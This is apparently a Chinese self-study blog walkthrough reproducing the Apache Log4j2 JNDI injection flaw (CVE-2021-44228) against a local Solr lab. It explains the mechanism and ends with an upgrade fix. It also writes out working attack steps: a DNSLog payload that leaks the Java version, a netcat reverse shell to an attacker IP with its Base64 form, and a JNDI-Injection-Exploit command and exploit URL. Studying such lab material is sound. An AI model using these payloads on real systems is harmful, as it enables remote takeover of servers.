漏洞复现之Apache Log4j2远程代码执行漏洞复现
(部分搜寻的资料用于自学,如有侵犯,联系可删! ———— by 611)
Apache Log4j2远程代码执行漏洞复现
[参考资料][!https://blog.csdn.net/hilaryfrank/article/details/121944757]
基础知识
1、JNDI
JNDI是指Java命名和目录接口(Java Naming and Directory Interface),它提供了一种机制来查找和访问各种命名和目录服务,可以理解为JNDI是应用程序和各种服务的一个中介,是一个包含很多服务的接口。举个简单易懂的例子,假如我们现在有一个网站,我们需要使用mysql、微信、支付宝等诸多服务,那么应用程序就可以通过JNDI接口去访问我们指定的某个服务,JNDI起到一个桥梁的作用,通过使用JNDI,应用程序可以访问和操作各种类型的服务,而无需了解底层实现细节。JNDI充当了一个中介角色,通过提供一种通用的API和框架,将应用程序与底层服务之间进行了解耦,使得应用程序逻辑更加简洁和清晰。
2、RMI
RMI是远程方法调用(Remote Method Invocation),它是一种用于实现分布式计算的Java API。当我们在一台计算机上运行Java程序时,所有的Java对象都存储在该计算机的内存中。但是,如果我们想要在不同的计算机之间共享这些Java对象,就需要使用远程方法调用(RMI)。因此通过使用RMI,程序员可以在不同的Java虚拟机上执行方法调用,就好像这些对象是本地的一样。这使得开发者能够构建高度可扩展、分布式的应用程序,这些应用程序可以跨越多个计算机和网络。RMI框架包含了必要的协议和工具,可以方便地将Java对象转换为网络传输格式,并将其从一个Java虚拟机传递到另一个Java虚拟机。这种技术广泛应用于企业级应用程序中,例如分布式系统、Web服务等。
3、LDAP
LDAP是轻量级目录访问协议(Lightweight Directory Access Protocol),我们可以理解成它是一个目录数据库,以树状的层次结构来存储数据。实际上LDAP是一个数据库,但是又不是一个数据库。说它是数据库,因为他是一个数据存储的东西。但是说他不是数据库,是因为他的作用没有数据库这么强大,而是一个目录。
4、JNDI注入
JNDI中有两个方法,分别为bind()
和lookup()
:
- bind():作用是将名称绑定到对象里面。
- lookup():作用是通过名字检索执行的对象。
JNDI注入简单来说是在JNDI接口在初始化时,如果lookup()方法的参数可控,攻击者就可以将恶意的url传入参数加载恶意的类。当攻击者把恶意的类绑定在RMI或LDAP中后,在客户端调用lookup远程获取远程类的时候,就会获取到恶意类,并对其进行实例化,从而加载我们的恶意代码。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象(这个位置导致的JNDI注入)
}
}
JNDI注入利用常见的两种方法是:JNDI+RMI
注入和JNDI+LDAP
注入。
5、Codebase
Codebase是存储代码或者编译文件的服务,可以根据名称来返回对应的代码或者编译文件,如果名称是个类名,那么会返回类所对应的Class文件。
漏洞简介
Apache Log4j2是一个基于Java的日志记录工具,该日志框架被大量用于业务系统开发,用来记录日志信息。Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,攻击者仅仅需要向目标服务器发送精心构造的恶意数据触发Log4j2组件解析缺陷,就可以实现目标服务器任意命令执行,获取目标服务器权限。由于日志记录存在的普遍性,所以该漏洞具有危害程度高、利用难度低、影响范围大、后续影响广的特点。
形成原因
Log4j2漏洞是由于Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,然后在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容,以常见的payload${jndi:ldap:192.168.96.1:1099/exp}
为例,在log4j2组件中发现日志包含${
后,就会以冒号:
作为分割,将表达式的内容分为两个部分,前面部分作为prefix(前缀),后面部分作为key(键),比如这个例子中prefix就是jndi
,key就是ldap:192.168.96.1:1099/exp
,在解析的时候,就调用jndi中的lookup方法去检索,lookup方法中传入的参数就是ldap:192.168.96.1:1099/exp
,即:程序会通过ldap协议去访问192.168.96.1:1099
这个地址,然后就会返回一个包含java代码的恶意class文件的地址,程序访问这个地址就会执行这个恶意的class文件,从而在本地加载和实例化(触发恶意代码),简述过程就是:
1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印。
2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。
3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
漏洞编号
CVE-2021-44228
漏洞危害
远程代码执行,获取目标服务器权限等。
影响版本
Apache log4j2 <= 2.14.1
环境搭建
攻击机(打本地靶场):kali(IP地址:192.168.1.130)
漏洞检测
1、burpsuite安装log4j漏洞的检测插件log4j2burpscanner
,配置好dnslog地址后,即可检测是否存在log4j2漏洞。
2、在插件的配置选项中,配置好dnslog地址等信息。(以*.ceye.io
平台为例)
3、开启burp代理,访问目标地址,将其发送至log4j漏洞检测插件,如果存在Log4j2漏洞,则会产生告警。(其实检测的原理就是相当于插件帮你手动去输入了payload。
复现过程
1、启动靶场环境,查看端口并从浏览器进入靶场。
docker-compose up -d
docker-compose ps
2、在dnslog平台上注册一个接收dnslog的域名,我们寻找注入点,发现/solr/admin/cores?
处有参数可以传,因此我们构造payload,并进行请求。
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.s4jcup.ceye.io}
3、请求完成后,我们在后台查看dns日志记录,发现成功获取到了java的版本信息,证明漏洞的初步利用是成功的。
4、我们的目的一定不仅仅只是知道java版本这么简单,我们可以尝试利用这个漏洞进行远程代码执行,实现反弹shell,从而控制服务器的权限。
反弹shell的命令为:(这里就直接将本机作为攻击服务器,反弹到自己这里)
nc -e /bin/bash 192.168.1.130 7777 0<&1 2>&1
5、我们选用了JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址为:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0,将反弹shell的命令进行Base64加密,然后运行工具。
-
反弹shell的命令:
nc -e /bin/bash 192.168.1.130 7777 0<&1 2>&1
-
将上述命令进行Base64加密:
bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMS4xMzAgNzc3NyAwPCYxIDI+JjE=
-
开启终端输入命令,运行工具,生成反弹shell的payload。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMS4xMzAgNzc3NyAwPCYxIDI+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.1.130"
6、开启端口监听。
7、根据工具为我们生成的payload,对其进行访问,即:URL中jndi的参数值换成生成的恶意代码。
http://192.168.1.130:8983/solr/admin/cores?action=${jndi:ldap://192.168.1.130:1389/2jytvr}
8、访问后,在工具端可以发现加载了恶意的类,监听的端口也成功地收到反弹,漏洞利用成功。
修复方案
升级到最新的安全版本:log4j-2.15.0-rc2。Apache Log4j2 官方已经发布了解决上述漏洞的安全更新,建议尽快升级到安全版本。